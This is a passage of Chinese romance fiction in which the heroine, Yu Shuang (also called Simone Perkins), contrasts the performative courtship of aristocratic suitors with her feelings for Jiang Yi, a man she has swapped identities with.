以及他转头吼她时,那双总是冷冽的眼眸里,清晰映出的、属于她的小小倒影。和 那几乎要满溢出来的惊惧与……在乎。 至于让吉勒听不懂的话…… 于霜垂下眼,在她和江熠互换身份的那天后,他们一直在用中文交流。 不是谁和谁约定好的,只是在看见对方的时候,下意识脱口而出。 这些细节,如同散落的珍珠,原本安静地躺在记忆的角落,此刻却被吉勒笨拙却真诚的话语,用一根名为“不一样”的线,猝不及防地串联了起来,散发出一种温润却不容忽视的光泽。 于霜,或者说西蒙.珀金斯,出身于英帝国最显赫的家族之一。 她从小在金碧辉煌的牢笼里长大,见识过太多所谓的喜爱与追求。 那些围绕在她身边的贵族青年们,哪一个不是衣着光鲜,舌灿莲花? 他们会在月光下的花园里,用咏叹调般的语气赞美她的美貌与智慧,会写下冗长华丽的十四行诗诉说衷肠,会许下无数空洞而遥远的诺言。 他们的喜爱,更像是一种精心计算的社会表演。 表演深情,表演痴迷,表演门当户对的天作之合。 其背后,往往清晰地标注着珀金斯这个姓氏所能带来的政治筹码、无尽财富以及通往权力核心的阶梯。 那些甜言蜜语,轻飘飘的,如同阳光下炫目的肥皂泡泡,看似美丽,却一触即碎,经不起任何推敲,更找不到半点落在实处的分量。 她早已习惯了,甚至厌倦了。 她冷眼看着那些表演,内心毫无波澜,甚至觉得有些可笑。 她将自己的真实面目隐藏在骄纵任性的大小姐面具之下,将所有的热情和专注都投向了那些美丽的海图、复杂的数学公式和浩瀚无垠的大海。 那才是真实可控的,值得投入脑力的领域。 可是江熠…… 于霜的指尖无意识地在粗糙的海星表面停顿了一下。 这个男人,完全不同。